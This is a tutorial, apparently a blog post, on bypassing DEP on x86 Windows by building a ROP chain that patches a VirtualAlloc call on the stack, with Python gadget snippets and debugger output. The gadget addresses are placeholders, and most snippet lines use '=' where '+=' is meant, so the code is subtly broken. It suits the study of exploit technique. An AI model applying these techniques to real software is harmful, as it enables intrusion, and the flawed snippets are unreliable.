Circumventing DEP on x86 Windows

September 11, 2024

Initially, exploit developers bypassed DEP by utilizing the NtSetInformationProcess API, as it resides in an executable memory region. This method involves substituting the typical (JMP ESP) instruction with the address of the NtSetInformationProcess API. Additionally, the necessary arguments must be set on the stack as part of the exploit overwrite. Once completed, DEP is disabled, allowing execution of our shellcode.

Constructing our ROP Chain We have two approaches:

  1. Develop a fully ROP-based shellcode
  2. Create a ROP stage leading to a buffer for shellcode execution.

Methods to bypass DEP:

  • Allocate memory using the Win32 VirtualAlloc API
  • Use the VirtualProtect API to modify execution permissions of the memory page containing our shellcode. (Both API addresses are retrieved from the IAT of the target DLL)
  • Employ the Win32 WriteProcessMemory API to hotpatch the code section of a running process.

• Using VirtualAlloc (also known as VirtualAllocStub) to bypass DEP !! Ensure all four parameters are correctly configured !!

LPVOID WINAPI VirtualAlloc(
  _In_opt_ LPVOID lpAddress,
  _In_     SIZE_T dwSize,
  _In_     DWORD  flAllocationType,
  _In_     DWORD  flProtect
);

Challenges with using this:

  1. The VirtualAlloc address is unknown beforehand.
  2. The return address and lpAddress argument are unknown beforehand.
  3. dwSize, flAllocationType, and flProtect contain NULL bytes.

We can address this by using placeholder values initially, which will be dynamically replaced with our ROP Gadgets.

Let's insert the placeholder code into our exploit:

va  = pack("<L", (0xABCD1234)) # placeholder VirtualAlloc Address
va = pack("<L", (0xDEADBEAF)) # Shellcode Return Address
va = pack("<L", (0xFEEDC0DE)) # placeholder Shellcode Address
va = pack("<L", (0x00000001)) # placeholder dwSize
va = pack("<L", (0x00001000)) # placeholder flAllocationType
va = pack("<L", (0x00000040)) # placeholder flProtect

Begin Fixing Our DEP with ROP

We need to replace our six placeholder values on the stack before invoking VirtualAlloc.

1. Gather the stack address of the first placeholder value using ROP Gadgets

  • The simplest method is to use the ESP value at the time of the access violation. !! We cannot alter the ESP register as it must point to the next gadget for ROP to work. Solution: Copy ESP into another register. Ideally, use MOV EAX, ESP ; RET, but this is uncommon. Alternatively, use:

    0x12345678: push esp ; push eax ; pop edi ; pop esi ; ret

    This sequence:

    1. Pushes ESP content to the stack top.
    2. Pushes EAX to the stack top.
    3. Pops EAX content into EDI.
    4. Pops original ESP content into ESI.
    5. RET transfers execution to the next DWORD on the stack.
  • Obtaining VirtualAlloc Address Use IDA to examine the IAT of the loaded DLL. Verify VirtualAlloc usage and its IAT entry address. Overwrite the 0x12345678 placeholder with this address using ROP Gadgets.

    1. Locate the stack address of the placeholder DWORD.
    0:006> dd esp - 1C
    0d39e300 | ABCD1234 87654321 00000000 55667788 
    0d39e310 | 00000000 DDEEFF00 42424242 43434343 
    0d39e320 | 43434343 43434343 43434343 43434343 
    0d39e330 | 43434343 43434343 43434343 43434343 
    0d39e340 | 43434343 43434343 43434343 43434343 
    0d39e350 | 43434343 43434343 43434343 43434343 
    0d39e360 | 43434343 43434343 43434343 43434343 
    0d39e370 | 43434343 43434343 43434343 43434343

    The value 0xABCD1234, the placeholder for VirtualAlloc, is at a negative offset of 0x1c / 28 from ESP. Ideally, use a gadget like:

    SUB ESI, 0x1c
    RETN

    Pushing 0x1c on the stack is problematic due to null bytes. Instead:

    • Push (? -0x1c) = ffffffe4, pop it into a register, and add it to the stack pointer in ESI. NOTE: EAX and ECX registers are preferable for arithmetic with gadgets due to their availability and usage in compiled code. IDEA: Transfer value from:
    • ESI to EAX (mov eax, esi)
    • Pop ESI (pop esi) -> Requires a dummy DWORD for stack alignment
    • Return the operation (retn)
    rop = pack("<L", (0x23456789)) # mov eax, esi ; pop esi ; retn
    rop = pack("<L", (0x42424242)) # junk value for stack alignment

    Now EAX holds the original ESP address. Next, pop 0x1c into ECX and add it to EAX.

    • Use POP ECX (pop ecx ; ret)
    • -0x1c onto the stack (0xffffffe4)
    • Add ECX to EAX (add eax, ecx)

    This allows adding -0x1C to EAX:

    rop += pack("<L", (0x34567890)) # pop ecx ; ret
    rop = pack("<L", (0xffffffe4)) # -0x1C
    rop = pack("<L", (0x45678901)) # add eax, ecx ; ret

    With the correct value in EAX, move it back to ESI.

    • Use a gadget with PUSH EAX and POP ESI with a RET (push eax ; pop esi ; ret)
    rop += pack("<L", (0x56789012)) # push eax ; pop esi ; ret

    2. Resolve the address of VirtualAlloc

    • Previously obtained the address from the IAT at 0x23456789. 0x20 is a problematic character (space).
    • Creatively pop eax to fetch the modified IAT address into EAX.
    • POP 0x00000001 / 0xFFFFFFFF into ECX using a POP ECX instruction.
    • Reuse the ADD EAX, ECX instruction from an earlier gadget to restore the correct IAT address.
    rop += pack("<L", (0x67890123)) # pop eax ; ret
    rop = pack("<L", (0x2345678A)) # VirtualAlloc IAT + 1
    rop = pack("<L", (0x78901234)) # pop ecx ; ret
    rop = pack("<L", (0xffffffff)) # -1 into ecx
    rop = pack("<L", (0x89012345)) # add eax, ecx ; ret
    rop = pack("<L", (0x90123456)) # mov eax, dword [eax] ; ret

    3. Write that value on top of the placeholder value

    Overwrite the placeholder value on the stack at the address stored in ESI. Use an instruction like | MOV DWORD [ESI], EAX | to write the address in EAX to the address pointed to by ESI.

    rop += pack("<L", (0x01234567)) # mov dword [esi], eax ; ret

    We have now achieved our initial goal. We successfully patched the VirtualAlloc address at runtime in the API call skeleton placed on the stack by the buffer overflow.

    Modifying the Return Address to Execute Our Shellcode

    To do this:

    1. Align ESI with a placeholder value for the return address on the stack.
    2. Dynamically locate the shellcode address and use it to patch the placeholder value.

    At the end of the last ROP-chain segment, ESI contained the VirtualAlloc address. This means ESI is only four bytes lower on the stack than needed. An instruction like ADD ESI, 0x4 would be ideal but isn't always available in the DLL. A more common instruction is the INC instruction, which increases the register value by one (INC ESI).

    rop += pack("<L", (0x23456789)) # inc esi ; add al, 0x2B ; ret 
    rop = pack("<L", (0x23456789)) # inc esi ; add al, 0x2B ; ret 
    rop = pack("<L", (0x23456789)) # inc esi ; add al, 0x2B ; ret 
    rop = pack("<L", (0x23456789)) # inc esi ; add al, 0x2B ; ret

    Now, ESI points to the placeholder value for the return address, initially set as 0xDEADBEAF. This needs replacement. With ESI correctly aligned, get the shellcode address in EAX to reuse the “MOV DWORD [ESI], EAX ; RET” gadget to patch the placeholder value. The issue is the unknown exact shellcode address since it will be placed after our ROP chain, which isn't complete yet.

    Solution:

    • Use a fixed value in ESI and add a fixed value to it.
    • Once the ROP chain is complete, update the fixed value.
    • Update it with the start of our shellcode/nopslide.

    How to:

    • Copy ESI into EAX (while retaining the existing ESI value)

    • Achieve this with PUSH EAX ; POP ESI ; RET

    • Add a small positive offset to EAX. Null bytes complicate small values.

      Solve:

      • Use an arbitrary value, like 0x210 bytes, represented as the negative value 0xfffffdf0 (update once the exact offset from ESI to the shellcode is known)
      • POP this negative value into ECX
      • Use a gadget with SUB EAX, ECX to set up EAX correctly
    rop += pack("<L", (0x34567890)) # mov eax, esi ; pop esi ; ret 
    rop = pack("<L", (0x42424242)) # junk
    rop = pack("<L", (0x45678901)) # push eax ; pop esi ; ret
    rop = pack("<L", (0x56789012)) # pop ecx ; ret
    rop = pack("<L", (0xfffffdf0)) # -0x210
    rop = pack("<L", (0x67890123)) # sub eax, ecx ; ret

The final step is to overwrite the fake shellcode address (0xFEEDC0DE) on the stack. Use a gadget with a MOV DWORD [ESI], EAX instruction.

rop += pack("<L", (0x78901234)) # mov dword [esi], eax ; ret

We have successfully created and executed a partial ROP chain that locates the VirtualAlloc address from the IAT and the shellcode address, updating the API call skeleton on the stack.

The 4 arguments for VirtualAlloc and Patching the Arguments

We must patch all four arguments required by VirtualAlloc to disable DEP.